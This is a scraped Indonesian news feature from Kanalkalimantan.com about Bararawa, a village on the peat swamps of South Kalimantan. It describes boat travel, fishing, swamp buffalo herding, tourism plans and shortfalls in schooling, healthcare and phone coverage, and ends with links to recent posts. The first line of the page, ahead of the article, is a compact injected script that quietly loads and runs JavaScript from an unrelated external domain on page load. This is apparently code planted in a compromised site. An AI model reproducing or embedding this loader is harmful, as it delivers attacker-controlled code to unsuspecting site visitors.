(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Budaya

Kampung di Atas Air: Menyusuri Rawa Menuju Desa Bararawa


KANALKALIMANTAN.COM, AMUNTAI – Kalimantan Selatan (Kalsel) tidak hanya dikenal karena hutan hujan tropis dan perbukitan menjulang. Tetapi juga dikenal dengan hamparan gambut luas serta banyaknya sungai.

Memiliki 1.864 desa yang tersebar di 11 kabupaten dan 2 kota, Kalsel menjadi salah satu wilayah dengan kebergaman desa yang tinggi.

Tapi, dari sekian banyak desa yang ada, tahukah anda jika ada sebuah desa yang unik di Kalsel yang berada di atas rawa?.

Terletak Kecamatan Paminggir, Kabupaten Hulu Sungai Utara (HSU), kampung atau desa tersebut adalah Bararawa yang seluruh permukimannya terapung di atas air hingga selaras namanya yaitu “rawa”.

Mencakup wilayah seluas 4.840 hektare, dengan sebagian besar berupa gambut dangkal dan dengan kedalaman mulai dari 0 hingga 2 meter, lingkungan Desa Bararawa unik dan kaya akan sumber daya alam.

Mendatangi Desa Bararawa, perjalanan darat dari pusat Kota Amuntai dapat ditempuh sejauh 40 kilometer menuju Dermaga Danau Panggang. Sementara, jika perjalanan dimulai dari ibu kota Kalsel, Banjarbaru, jaraknya diperkirakan sekitar 160 kilometer menuju arah hulu sungai.

Perahu klotok menjadi transportasi utama menyusuri Sungai Kali Paminggir, mengantarkan penumpang menuju Desa Bararawa yang terapung di atas rawa gambut. Foto: Rizki.

Dari dermaga, perjalanan menuju Desa Bararawa memakan waktu sekitar satu jam menggunakan perahu bermotor atau klotok menyusuri Sungai Paminggir. Tarif perjalanannya sekitar Rp20 ribu, dengan kapasitas perahu sekitar 45 orang beserta barang bawaan.

Sepanjang perjalanan, mata kita akan disajikan hamparan rawa luas membentang sejauh mata memandang. Ada nelayan setempat yang terlihat sibuk menangkap ikan menggunakan alat tradisional berupa jaring atau bubu.

Karena warga Desa Bararawa juga dikenal sebagai peternak kerbau rawa. Di sepanjang perjalanan sungai kita dapat melihat bagaimana kerbau-kerbau itu dilepas liarkan setiap hari untuk mencari makan secara mandiri.

“Hampir 90 persen warga di sini nelayan dan peternak kerbau. Sisanya bekerja di luar desa,” kata Basrun, salah seorang warga Desa Bararawa.

Selain mengandalkan perikanan, masyarakat Desa Bararawa juga menekuni peternakan kerbau rawa yang dilepas liarkan. Kerbau rawa iyalah endemik Asia Tenggara yang hidup di ekosistem rawa lebak-gambut. Foto: Rizki.

Binatang dengan nama latin Bubalus Bubalis Carabanesis ini memiliki kemampuan luar biasa untuk berenang di perairan dan mampu menahan napas hingga beberapa menit. Kerbau rawa mencari makan rerumputan sepanjang hari dan kembali secara otomatis ke kandang saat matahari sudah mulai tenggelam.

Menjadi sumber ekonomi bagi masyarakat. Harga seekor hewan mamalia ini diperkirakan bisa mencapai Rp17 juta hingga Rp 25 juta atau lebih, tergantung pada usia dan bobotnya.

Melihat potensi itu, rupanya pemerintah daerah telah mendukung pembangunan desa di perbatasan Provinsi Kalimantan Tengah tersebut sebagai destinasi wisata berbasis kearifan lokal.

Salah satu keseriusan yang sudah dipersiapkan itu adalah membangun sarana podium atau semacam tempat atraksi pacuan kerbau rawa, yang diyakini dapat menarik wisatawan domestik maupun mancanegara.

Nantinya, selain dapat menyaksikan pacuan kerbau secara langsung, wisatawan diharapkan dapat menikmati keindahan alam rawa yang sering disebut sebagai “samudera tak berujung” ini.

Melibatkan Kelompok Sadar Wisata (Pokdarwis) untuk mengelola objek wisata secara berkelanjutan. Berbagai peluang usaha baru seperti kuliner khas lokal dan souvenir anyaman purun juga turut membuka jalan bagi peningkatan kesejahteraan warga.

Menjelajahi kehidupan di Desa Bararawa, di mana perahu menjadi bagian dari keseharian. Foto: Rizki.

Tetapi, dibalik semua potensi itu, Desa Bararawa juga tidak terlepas dari tantangannya. Meskipun listrik dengan daya tinggi sudah tersedia. Namun, jaringan komunikasi jika kita ke tempat ini, masih menjadi kendala. Sebab, jaringan 4G hanya tersedia untuk provider tertentu.

Selain itu, ada juga akses pendidikan yang hanya masih memiliki satu Sekolah Dasar (SD) dan Madrasah Tsanawiyah (MTs), pelajar yang ingin melanjutkan ke jenjang SMA harus menempuh perjalanan jauh ke desa tetangga menggunakan perahu bermesin.

Belum lagi di bidang kesehatan, saat ini warga hanya mengandalkan tenaga medis keliling untuk mendapatkan layanan kesehatan dasar. Tidak adanya fasilitas kesehatan permanen membuat masyarakat kesulitan mendapatkan perawatan medis memadai, terutama dalam situasi darurat.

Dengan berbagai tantangan ini, masyarakat Desa Bararawa terus berjuang untuk bertahan di tengah keterbatasan akses dan kondisi geografis perairan rawa yang sulit. Di tengah perkembangan wisata yang menopang hidup mereka, berbagai keterbatasan menjadi tantangan lain yang harus mereka hadapi dalam berkehidupan di setiap harinya. (Kanalkalimantan.com/rizki)

Catatan: Serial liputan berjudul “Kampung di Atas Air: Menyusuri Rawa, Menuju Bararawa” didukung oleh program dari Yayasan TIFA Foundation untuk Pengelolaan Perhutanan Sosial Indonesia AP2SI melalui AP2SI Kalimantan Selatan.

Reporter: rizki
Editor: rdy


Muhammad Andi

Recent Posts

Ada Peristiwa Tertinggal saat Rekontruksi Pembunuhan Juwita, Begini Kata Tim Kuasa Hukum

KANALKALIMANTAN.COM, BANJARBARU - Reka adegan atau rekontruksi pembunuhan berencana yang dilakukan Jumran, anggota TNI AL… Read More

6 jam ago

Hadapi Porprov XII Kalsel, PBSI Balangan Gelar Seleksi Atlet

KANALKALIMANTAN.COM, PARINGIN - Pengurus Kabupaten (Pengkab) Persatuan Bulutangkis Seluruh Indonesia (PBSI) Balangan menggelar seleksi atlet… Read More

8 jam ago

Reka Adegan Jumran Habisi Juwita, Dipiting Lalu Dicekik

KANALKALIMANTAN.COM, BANJARBARU - Jumran melakukan reka adegan pembunuhan berencana yang dilakukan kepada Juwita, seorang jurnalis… Read More

11 jam ago

Dinsos Kalsel Salurkan Bantuan Banjir di Desa Pondok Babaris, Ini Kata Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Sinergisitas antara Pemerintah Kabupaten Hulu Sungai Utara dengan Pemerintah Provinsi Kalimantan Selatan… Read More

20 jam ago

Kuasa Hukum Ungkap Kronologi Indikasi Rudapaksa hingga Terbunuhnya Juwita di Tangan Jumran

KANALKALIMANTAN.COM, BANJARBARU – Fakta terbaru terkait dugaan rudapaksa oleh tersangka Jumran, anggota TNI Angkatan Laut… Read More

1 hari ago

Aksi Solidaritas untuk Juwita Gaungkan Dukungan Keadilan bagi Korban Femisida

KANALKALIMANTAN.COM, BANJARBARU – Sejumlah pihak menyuarakan dugaan tindak femisida dalam kasus pembunuhan wartawati media daring… Read More

1 hari ago

This website uses cookies.